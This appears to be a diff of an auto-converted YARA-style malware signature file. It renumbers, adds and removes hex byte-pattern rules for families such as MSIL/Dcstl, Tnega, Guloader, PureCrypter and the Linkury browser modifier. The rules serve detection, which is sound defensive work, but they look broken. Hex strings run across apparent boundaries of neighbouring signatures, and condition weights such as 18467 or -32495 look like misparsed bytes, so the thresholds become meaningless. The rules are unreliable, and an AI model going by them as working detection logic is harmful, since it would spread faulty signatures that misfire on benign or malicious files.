"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -168666,7 +179890,7 @@ rule _InfrastructureShared_14683{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*13416+(#a_00_2 & 1)*15689+(#a_76_3 & 1)*385+(#a_65_4 & 1)*24943+(#a_65_5 & 1)*28015) >=6 } -rule _InfrastructureShared_14684{ +rule _InfrastructureShared_15644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -168681,7 +179905,7 @@ rule _InfrastructureShared_14684{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*-32495+(#a_68_2 & 1)*28265+(#a_74_3 & 1)*25970+(#a_79_4 & 1)*1243+(#a_3a_5 & 1)*29812) >=6 } -rule _InfrastructureShared_14685{ +rule _InfrastructureShared_15645{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -168695,7 +179919,7 @@ rule _InfrastructureShared_14685{ ((#a_6f_0 & 1)*21539+(#a_74_1 & 1)*26625+(#a_61_2 & 1)*28271+(#a_76_3 & 1)*16743+(#a_6f_4 & 1)*26691) >=6 } -rule _InfrastructureShared_14686{ +rule _InfrastructureShared_15646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -168708,12 +179932,12 @@ rule _InfrastructureShared_14686{ $a_80_5 = {55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 } //Uninstaller.exe -100 $a_80_6 = {55 6e 69 6e 73 74 61 6c 2e 65 78 65 } //Uninstal.exe -100 $a_db_7 = {00 07 00 07 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4c 69 6e 6b 75 72 79 43 68 72 6f 6d 65 2e 41 31 00 04 00 30 01 63 00 6c 00 6f 00 75 00 64 00 2d 00 73 00 65 00 61 00 72 00 63 00 68 00 2e 00 6c 00 69 00 6e 00 6b 00 75 00 72 00 79 00 2e 00 63 00 6f 00 6d 00 02 00 1e 01 2e 00 73 00 74 00 75 00 66 00 66 00 70 00 69 00 63 00 6b 00 73 00 2e 00 63 00 } //0 - $a_00_8 = {02 00 22 01 73 00 74 00 61 00 74 00 73 00 2e 00 69 00 6a 00 6e 00 65 00 77 00 68 00 62 00 2e 00 63 00 6f 00 6d 00 01 00 34 01 53 00 74 00 61 00 74 00 65 00 53 00 74 00 61 00 74 00 69 00 73 00 74 00 69 00 63 00 73 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 2e 00 73 00 76 00 63 00 00 00 78 db 00 00 07 00 07 00 04 00 21 23 54 } //111 + $a_00_8 = {02 00 22 01 73 00 74 00 61 00 74 00 73 00 2e 00 69 00 6a 00 6e 00 65 00 77 00 68 00 62 00 2e 00 63 00 6f 00 6d 00 01 00 34 01 53 00 74 00 61 00 74 00 65 00 53 00 74 00 61 00 74 00 69 00 73 00 74 00 69 00 63 00 73 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 2e 00 73 00 76 00 63 00 00 00 78 db 00 00 07 00 07 00 07 00 21 23 48 } //111 condition: ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*-100+(#a_80_5 & 1)*-100+(#a_80_6 & 1)*-100+(#a_db_7 & 1)*0+(#a_00_8 & 1)*111) >=6 } -rule _InfrastructureShared_14687{ +rule _InfrastructureShared_15647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -168724,20 +179948,7 @@ rule _InfrastructureShared_14687{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46) >=7 } -rule _InfrastructureShared_14688{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 63 73 74 6c 2e 41 53 4b 41 21 4d 54 42 00 03 00 5f 03 0a 0a 06 20 00 01 00 00 6f 90 01 01 00 00 0a 06 20 00 01 00 00 6f 90 01 01 00 00 0a 06 72 15 00 00 70 28 90 01 01 } //21539 - $a_6f_1 = {01 01 00 00 0a 06 72 6f 00 00 } //0 - $a_01_2 = {01 00 00 0a 6f 90 01 01 00 00 0a 06 06 6f 90 01 01 00 00 0a 06 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0b 90 00 02 00 24 03 08 11 05 16 11 06 6f 90 01 01 00 00 0a 11 04 11 05 16 11 05 8e 69 6f 90 01 01 00 00 0a 25 13 06 16 3d 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 db 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 } //10352 - $a_65_3 = {6c 61 2e 52 41 54 31 21 4d 54 42 00 01 00 17 01 41 70 70 2e 42 75 72 79 41 6c 69 76 65 2e 72 65 73 6f 75 72 63 65 73 01 00 15 01 41 70 70 2e 44 49 46 46 4c 56 4c 2e 72 65 73 6f 75 72 63 65 73 01 00 1b 01 41 70 70 2e 45 78 70 6c 6f 72 65 72 4c 6f 67 69 } //29806 - condition: - ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*0+(#a_01_2 & 1)*10352+(#a_65_3 & 1)*29806) >=7 - -} -rule _InfrastructureShared_14689{ +rule _InfrastructureShared_15648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -168752,7 +179963,7 @@ rule _InfrastructureShared_14689{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*28784+(#a_00_3 & 1)*111+(#a_54_4 & 1)*8498+(#a_72_5 & 1)*21359+(#a_2f_6 & 1)*18771) >=7 } -rule _InfrastructureShared_14690{ +rule _InfrastructureShared_15649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -168768,7 +179979,7 @@ rule _InfrastructureShared_14690{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_db_6 & 1)*0) >=7 } -rule _InfrastructureShared_14691{ +rule _InfrastructureShared_15650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -168784,7 +179995,7 @@ rule _InfrastructureShared_14691{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25955+(#a_00_2 & 1)*25455+(#a_6f_3 & 1)*20526+(#a_00_4 & 1)*0+(#a_42_5 & 1)*17996+(#a_65_6 & 1)*384) >=7 } -rule _InfrastructureShared_14692{ +rule _InfrastructureShared_15651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -168800,7 +180011,7 @@ rule _InfrastructureShared_14692{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25962+(#a_54_2 & 1)*20041+(#a_61_3 & 1)*28271+(#a_6e_4 & 1)*28245+(#a_6f_5 & 1)*25970+(#a_52_6 & 1)*31053) >=7 } -rule _InfrastructureShared_14693{ +rule _InfrastructureShared_15652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -168808,34 +180019,46 @@ rule _InfrastructureShared_14693{ $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 48 4d 52 32 00 01 00 0f 80 01 69 6e 73 74 61 6c 6c 50 72 72 6f 6e 74 61 6f 01 00 07 80 01 72 65 61 64 50 66 73 01 00 0c 80 01 42 69 } //16675 $a_6e_1 = {46 6c 61 67 73 01 00 0d 80 01 44 70 69 43 61 6c 63 75 6c 61 74 6f 72 01 00 0a 80 01 4b 65 79 43 72 79 70 74 65 72 01 00 0d 80 01 49 6e 73 74 61 6c 6c 69 6e 67 47 69 66 01 00 0b 80 01 67 65 74 5f 4b 65 79 77 6f 72 64 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 } //25710 $a_ff_2 = {80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 db 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 4b 21 4d 54 42 00 01 00 08 80 01 68 61 68 61 73 70 61 6d 01 00 0c 80 01 68 61 68 61 73 70 61 6d 2e 65 78 65 01 00 0a 80 01 72 65 62 6f 6f 74 2e 62 61 74 01 00 36 01 43 3a 5c 55 73 65 72 73 5c 55 73 65 72 5c 44 65 73 6b 74 6f 70 5c 68 61 68 61 5c 68 61 68 61 5c 6f 62 6a 5c 78 38 36 5c 44 65 62 75 67 5c 68 61 68 61 } //25976 - $a_62_3 = {00 14 80 01 53 68 75 74 64 6f 77 6e 45 76 65 6e 74 48 61 6e 64 6c 65 72 01 00 11 80 01 68 61 68 61 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 01 00 08 80 01 74 61 73 6b 6b 69 6c 6c 01 00 0c 80 01 73 68 75 74 64 6f 77 6e 2e 65 78 65 00 00 78 db 00 00 08 00 08 00 08 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a } //28718 - $a_6b_4 = {72 79 00 01 00 28 80 01 67 65 74 5f 42 61 73 69 63 4c 69 6e 6b 54 6f 4f 66 66 65 72 73 4d 61 6e 61 67 65 72 43 6c 6f 75 64 53 65 72 76 69 63 65 01 00 19 80 01 4c 69 6e 6b 75 72 79 49 6e 73 74 61 6c 6c 61 74 69 6f 6e 46 6f 6c 64 65 72 01 00 11 80 01 73 65 74 5f 4c 69 6e 6b 75 72 79 45 78 65 44 69 72 01 00 1a 80 01 53 65 74 42 72 } //26956 - $a_65_5 = {53 65 74 74 69 6e 67 73 53 69 6c 65 6e 74 6c 79 01 00 0e 80 01 67 65 74 5f 45 6e 63 72 79 70 74 55 52 4c 01 00 10 80 01 49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 01 00 06 80 01 43 68 72 6f 6d 65 01 00 07 80 01 46 69 72 65 66 6f 78 00 00 78 db 00 00 09 00 09 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 61 72 70 53 } //30575 - $a_70_6 = {2e 41 21 69 62 74 00 01 00 0b 80 01 6d 73 63 6f 72 65 65 2e 64 6c 6c 01 00 0d 80 01 74 69 6d 65 73 74 6f 6d 70 66 69 6c 65 01 00 0a 80 01 73 68 61 72 70 73 74 6f 6d 70 01 00 10 80 01 47 65 74 4c 61 73 74 57 72 69 74 65 54 69 6d 65 01 00 10 80 01 53 65 74 4c 61 73 74 57 72 69 74 65 54 69 6d 65 01 00 0f 80 01 47 65 74 43 72 65 } //28532 - $a_6f_7 = {54 69 6d 65 01 00 0f 80 01 53 65 74 43 72 65 61 74 69 6f 6e 54 69 6d 65 01 00 11 80 01 47 65 74 4c 61 73 74 41 63 63 65 73 73 54 69 6d 65 01 00 11 80 01 53 65 74 4c 61 73 74 41 63 63 65 73 73 54 69 6d 65 00 00 78 db 00 00 0b 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 } //29793 - $a_53_8 = {6c 6d 79 72 2e 53 49 42 21 4d 54 42 00 0a 00 21 02 69 00 66 00 69 00 72 00 6d 00 61 00 2e 00 90 02 20 2f 00 4f 00 39 00 34 00 39 00 49 00 43 } //19529 + $a_62_3 = {00 14 80 01 53 68 75 74 64 6f 77 6e 45 76 65 6e 74 48 61 6e 64 6c 65 72 01 00 11 80 01 68 61 68 61 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 01 00 08 80 01 74 61 73 6b 6b 69 6c 6c 01 00 0c 80 01 73 68 75 74 64 6f 77 6e 2e 65 78 65 00 00 78 db 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 } //28718 + $a_6c_4 = {61 64 65 72 2e 4c 51 57 30 31 21 4d 54 42 00 01 00 15 81 01 65 66 74 65 72 66 6f 72 73 6b 6e 69 6e 67 65 72 73 2e 74 68 6f 01 00 0e 81 01 70 68 79 6c 6c 6f 70 6f 64 61 2e 63 68 6c 01 00 15 81 01 75 72 65 74 65 72 6f 63 79 73 74 6f 73 74 6f 6d 79 2e 6a 70 67 01 00 11 81 01 6f 76 65 72 62 79 67 6e 69 6e 67 65 6e 2e 69 6e 69 01 00 11 81 01 72 65 62 73 } //18223 + $a_6e_5 = {6e 67 65 72 2e 74 78 74 01 00 11 81 01 43 72 79 70 74 6f 70 68 79 63 65 61 65 2e 74 78 74 01 00 11 81 01 41 75 74 6f 74 68 65 72 6d 79 32 35 32 2e 70 72 65 01 00 0f 81 01 61 75 74 6f 72 69 74 61 74 69 76 2e 6a 70 67 00 00 78 db 00 00 08 00 08 00 08 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 } //24940 + $a_74_7 = {42 61 73 69 63 4c 69 6e 6b 54 6f 4f 66 66 65 72 73 4d 61 6e 61 67 65 72 43 6c 6f 75 64 53 65 72 76 69 63 65 01 00 19 80 01 4c 69 6e 6b 75 72 79 49 6e 73 74 61 6c 6c 61 74 69 6f 6e 46 6f 6c 64 65 72 01 00 11 80 01 73 65 74 5f 4c 69 6e 6b 75 72 79 45 78 65 44 69 72 01 00 1a 80 01 53 65 74 42 72 6f 77 73 } //26369 + $a_65_8 = {74 69 6e 67 73 53 69 6c 65 6e 74 6c 79 01 00 0e 80 01 67 65 74 5f 45 6e 63 72 79 70 74 55 52 4c 01 00 10 80 01 49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 01 00 06 80 01 43 68 72 6f 6d 65 01 00 07 80 01 46 69 72 65 66 6f 78 00 00 78 db 00 00 09 } //29285 condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25710+(#a_ff_2 & 1)*25976+(#a_62_3 & 1)*28718+(#a_6b_4 & 1)*26956+(#a_65_5 & 1)*30575+(#a_70_6 & 1)*28532+(#a_6f_7 & 1)*29793+(#a_53_8 & 1)*19529) >=7 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25710+(#a_ff_2 & 1)*25976+(#a_62_3 & 1)*28718+(#a_6c_4 & 1)*18223+(#a_6e_5 & 1)*24940+(#a_74_7 & 1)*26369+(#a_65_8 & 1)*29285) >=7 } -rule _InfrastructureShared_14694{ +rule _InfrastructureShared_15653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 4b 21 4d 54 42 00 01 00 08 80 01 68 61 68 61 73 70 61 6d 01 00 0c 80 01 68 61 68 61 73 70 61 6d 2e 65 78 65 01 00 0a 80 01 72 65 62 6f 6f 74 2e 62 61 74 01 00 36 01 43 3a } //16675 $a_65_1 = {73 5c 55 73 65 72 5c 44 65 73 6b 74 6f 70 5c 68 61 68 61 5c 68 61 68 61 5c 6f 62 6a 5c 78 38 36 5c 44 65 62 75 67 5c 68 61 68 61 2e 70 64 62 01 00 14 80 01 53 68 75 74 64 6f 77 6e 45 76 65 6e 74 48 61 6e 64 6c 65 72 01 00 11 80 01 68 61 68 61 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 01 00 08 80 01 74 61 73 6b 6b 69 6c 6c 01 00 0c 80 01 73 68 75 } //21852 - $a_77_2 = {2e 65 78 65 00 00 78 db 00 00 08 00 08 00 08 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4c 69 6e 6b 75 72 79 00 01 00 28 80 01 67 65 74 5f 42 61 73 69 63 4c 69 6e 6b 54 6f 4f 66 66 65 72 73 4d 61 6e 61 67 65 72 43 6c 6f 75 64 53 65 72 76 69 63 65 01 00 19 80 01 4c 69 6e 6b 75 72 79 49 6e 73 74 61 6c 6c 61 74 69 6f 6e 46 6f 6c 64 65 72 } //25716 - $a_80_3 = {73 65 74 5f 4c 69 6e 6b 75 72 79 45 78 65 44 69 72 } //set_LinkuryExeDir 1 - $a_80_4 = {53 65 74 42 72 6f 77 73 65 72 53 65 74 74 69 6e 67 73 53 69 6c 65 6e 74 6c 79 } //SetBrowserSettingsSilently 1 - $a_80_5 = {67 65 74 5f 45 6e 63 72 79 70 74 55 52 4c } //get_EncryptURL 1 - $a_80_6 = {49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 } //InternetExplorer 1 - $a_80_7 = {43 68 72 6f 6d 65 } //Chrome 1 + $a_77_2 = {2e 65 78 65 00 00 78 db 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 57 30 31 21 4d 54 42 00 01 00 15 81 01 65 66 74 65 72 66 6f 72 73 6b 6e 69 6e 67 65 72 73 2e 74 68 6f 01 00 0e 81 01 70 68 79 6c 6c 6f 70 6f 64 61 2e 63 68 6c 01 00 15 81 01 75 72 65 74 65 72 6f 63 79 73 74 6f 73 } //25716 + $a_79_3 = {6a 70 67 01 00 11 81 01 6f 76 65 72 62 79 67 6e 69 6e 67 65 6e 2e 69 6e 69 01 00 11 81 01 72 65 62 73 6c 61 67 6e 69 6e 67 65 72 2e 74 78 74 01 00 11 81 01 43 72 79 70 74 6f 70 68 79 63 65 61 65 2e 74 78 74 01 00 11 81 01 41 75 74 6f 74 68 65 72 6d 79 32 35 32 2e 70 72 65 01 00 0f 81 01 61 75 74 6f 72 69 74 61 74 69 76 2e 6a } //28532 + $a_00_6 = {08 00 21 23 50 55 41 3a } //8 + $a_63_7 = {3a 4c 69 6e 6b 75 72 79 00 01 00 28 80 01 67 65 74 5f 42 61 73 69 63 4c 69 6e 6b 54 6f 4f 66 66 65 72 73 4d 61 6e 61 67 65 72 43 6c 6f 75 64 53 65 72 76 69 63 65 01 00 19 80 01 4c 69 6e 6b 75 72 79 49 6e 73 74 61 6c 6c 61 74 69 6f 6e 46 6f 6c 64 65 72 01 00 11 80 01 73 65 74 5f 4c 69 6e 6b 75 72 79 45 78 65 44 69 72 01 00 1a 80 01 } //27714 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*21852+(#a_77_2 & 1)*25716+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1) >=8 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*21852+(#a_77_2 & 1)*25716+(#a_79_3 & 1)*28532+(#a_00_6 & 1)*8+(#a_63_7 & 1)*27714) >=8 } -rule _InfrastructureShared_14695{ +rule _InfrastructureShared_15654{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 51 57 30 31 21 4d 54 42 00 01 00 15 81 01 65 66 74 65 72 66 6f 72 73 6b 6e 69 6e 67 65 72 73 2e 74 68 6f 01 00 0e 81 01 70 68 79 6c 6c 6f 70 6f 64 61 2e 63 68 6c 01 00 15 81 01 75 72 65 74 65 72 6f } //18467 + $a_74_1 = {73 74 6f 6d 79 2e 6a 70 67 01 00 11 81 01 6f 76 65 72 62 79 67 6e 69 6e 67 65 6e 2e 69 6e 69 01 00 11 81 01 72 65 62 73 6c 61 67 6e 69 6e 67 65 72 2e 74 78 74 01 00 11 81 01 43 72 79 70 74 6f 70 68 79 63 65 61 65 2e 74 78 74 01 00 11 81 01 41 75 74 6f 74 68 65 72 6d 79 32 35 32 2e 70 72 65 01 00 0f 81 01 61 75 74 6f 72 69 74 61 74 69 76 2e 6a } //31075 + $a_00_4 = {08 00 21 23 50 55 41 3a } //8 + $a_63_5 = {3a 4c 69 6e 6b 75 72 79 00 01 00 28 80 01 67 65 74 5f 42 61 73 69 63 4c 69 6e 6b 54 6f 4f 66 66 65 72 73 4d 61 6e 61 67 65 72 43 6c 6f 75 64 53 65 72 76 69 63 65 01 00 19 80 01 4c 69 6e 6b 75 72 79 49 6e 73 74 61 6c 6c 61 74 69 6f 6e 46 6f 6c 64 65 72 01 00 11 80 01 73 65 74 5f 4c 69 6e 6b 75 72 79 45 78 65 44 69 72 01 00 1a 80 01 } //27714 + $a_42_6 = {6f 77 73 65 72 53 65 74 74 69 6e 67 73 53 69 6c 65 6e 74 6c 79 01 00 0e 80 01 67 65 74 5f 45 6e 63 72 79 70 74 55 52 4c 01 00 10 80 01 49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 01 00 06 80 01 43 68 72 6f 6d 65 01 00 07 80 01 46 69 72 65 66 6f 78 00 00 78 db 00 00 09 00 09 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 } //25939 + $a_53_7 = {6f 6d 70 31 2e 41 21 69 62 74 00 01 00 0b 80 01 6d 73 63 6f 72 65 65 2e 64 6c 6c 01 00 0d 80 01 74 69 6d 65 73 74 6f 6d 70 66 69 6c 65 01 00 0a 80 01 73 68 61 72 70 73 74 6f 6d 70 01 00 10 80 01 47 65 74 4c 61 73 74 57 72 69 74 65 54 69 6d 65 01 00 10 80 01 53 65 74 4c 61 73 74 57 72 69 74 65 54 69 6d 65 01 00 0f 80 01 47 65 74 43 72 } //29281 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*31075+(#a_00_4 & 1)*8+(#a_63_5 & 1)*27714+(#a_42_6 & 1)*25939+(#a_53_7 & 1)*29281) >=8 + +} +rule _InfrastructureShared_15655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -168852,7 +180075,7 @@ rule _InfrastructureShared_14695{ ((#a_41_0 & 1)*20515+(#a_72_1 & 1)*25708+(#a_00_2 & 1)*25965+(#a_69_3 & 1)*384+(#a_74_4 & 1)*-32755+(#a_6f_5 & 1)*29541+(#a_73_6 & 1)*25955+(#a_00_7 & 1)*144) >=8 } -rule _InfrastructureShared_14696{ +rule _InfrastructureShared_15656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -168862,12 +180085,13 @@ rule _InfrastructureShared_14696{ $a_63_2 = {65 73 73 54 69 6d 65 01 00 11 80 01 53 65 74 4c 61 73 74 41 63 63 65 73 73 54 69 6d 65 00 00 78 db 00 00 0b 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d } //29811 $a_2f_3 = {6f 6c 6d 79 72 2e 53 49 42 21 4d 54 42 00 0a 00 21 02 69 00 66 00 69 00 72 00 6d 00 61 00 2e 00 90 02 20 2f 00 4f 00 39 00 34 00 39 00 49 00 43 00 90 00 0a 00 13 02 69 66 69 72 6d 61 2e 90 02 20 2f 4f 39 34 39 49 43 90 00 0a 00 } //18771 $a_00_4 = {66 00 69 00 72 00 6d 00 61 00 2e 00 90 02 05 2f 00 70 00 6f 00 62 00 69 00 65 00 72 00 7a 00 90 00 0a 00 14 02 69 66 69 72 6d 61 2e 90 02 05 2f 70 6f 62 69 65 72 7a 90 00 01 00 29 02 06 07 06 07 91 20 90 01 04 59 d2 9c 90 02 05 07 17 58 0b 07 06 8e 69 fe 04 0c 08 2d 90 01 01 06 0d 2b 90 01 01 09 2a 90 00 00 00 78 } //547 - $a_48_7 = {54 52 3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 6f 72 2e 43 72 79 70 74 6f 4f 62 66 75 73 63 61 74 6f 72 } //8448 TR:MSIL/Obfuscator.CryptoObfuscator + $a_54_7 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 43 72 79 70 74 65 72 2e 5a 41 55 21 4d 54 42 00 0a } //8448 + $a_0c_8 = {08 02 7b } //-32256 condition: - ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*26739+(#a_63_2 & 1)*29811+(#a_2f_3 & 1)*18771+(#a_00_4 & 1)*547+(#a_48_7 & 1)*8448) >=9 + ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*26739+(#a_63_2 & 1)*29811+(#a_2f_3 & 1)*18771+(#a_00_4 & 1)*547+(#a_54_7 & 1)*8448+(#a_0c_8 & 1)*-32256) >=9 } -rule _InfrastructureShared_14697{ +rule _InfrastructureShared_15657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0a 00 05 00 21 " @@ -168880,7 +180104,19 @@ rule _InfrastructureShared_14697{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*531+(#a_0c_2 & 1)*-407+(#a_2b_3 & 1)*1537) >=10 } -rule _InfrastructureShared_14698{ +rule _InfrastructureShared_15658{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 43 72 79 70 74 65 72 2e 5a 41 55 21 4d 54 42 00 0a 00 82 03 0c 08 02 7b 90 01 01 00 00 04 6f 90 01 01 00 00 0a 08 02 7b 90 01 01 00 00 04 6f 90 01 01 00 00 0a } //21539 + $a_01_1 = {01 00 00 0a 0d 73 90 01 01 00 00 0a 13 04 11 04 09 17 73 90 01 01 00 00 0a 13 05 11 05 06 16 06 8e 69 6f 90 01 01 00 00 0a 11 05 6f 90 01 01 00 00 0a 11 04 6f 90 01 01 00 00 0a 13 06 03 72 64 02 00 70 11 06 6f 90 01 01 00 00 06 05 72 88 02 00 70 6f 90 01 01 00 00 0a 17 0b 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 db 00 00 0c 00 0c 00 07 00 } //28424 + $a_53_2 = {52 3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 6f 72 2e 43 72 79 70 74 6f 4f 62 66 75 73 63 61 74 6f 72 2e 41 00 01 00 0e 01 44 79 6e 61 6d 69 63 4d 65 74 68 6f 64 00 01 00 0f 01 4f 70 43 6f 64 65 00 4f 70 43 6f 64 65 } //8993 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*28424+(#a_53_2 & 1)*8993) >=12 + +} +rule _InfrastructureShared_15659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -168894,7 +180130,7 @@ rule _InfrastructureShared_14698{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*24946+(#a_00_3 & 1)*0+(#a_2f_4 & 1)*18771+(#a_65_6 & 1)*385) >=12 } -rule _InfrastructureShared_14699{ +rule _InfrastructureShared_15660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -168911,7 +180147,7 @@ rule _InfrastructureShared_14699{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*2560+(#a_00_2 & 1)*0+(#a_4c_3 & 1)*21325+(#a_65_5 & 1)*385+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_db_8 & 1)*0) >=18 } -rule _InfrastructureShared_14700{ +rule _InfrastructureShared_15661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 09 00 21 " @@ -168929,7 +180165,7 @@ rule _InfrastructureShared_14700{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*28265+(#a_4c_2 & 1)*28261+(#a_42_3 & 1)*21294+(#a_5f_4 & 1)*400+(#a_6a_5 & 1)*400+(#a_08_6 & 1)*22807+(#a_91_7 & 1)*22616+(#a_65_8 & 1)*28271) >=18 } -rule _InfrastructureShared_14701{ +rule _InfrastructureShared_15662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 15 00 04 00 21 " @@ -168941,7 +180177,7 @@ rule _InfrastructureShared_14701{ ((#a_46_0 & 1)*16675+(#a_6e_2 & 1)*4359+(#a_08_3 & 1)*7684) >=21 } -rule _InfrastructureShared_14702{ +rule _InfrastructureShared_15663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,20 00 20 00 08 00 21 " @@ -168956,7 +180192,7 @@ rule _InfrastructureShared_14702{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28323+(#a_b4_2 & 1)*24324+(#a_6c_4 & 1)*384+(#a_90_6 & 1)*2347+(#a_01_7 & 1)*8202) >=32 } -rule _InfrastructureShared_14703{ +rule _InfrastructureShared_15664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,33 00 33 00 03 00 21 " @@ -168968,7 +180204,7 @@ rule _InfrastructureShared_14703{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28632+(#a_90_2 & 1)*2560) >=51 } -rule _InfrastructureShared_14704{ +rule _InfrastructureShared_15665{ meta: description = 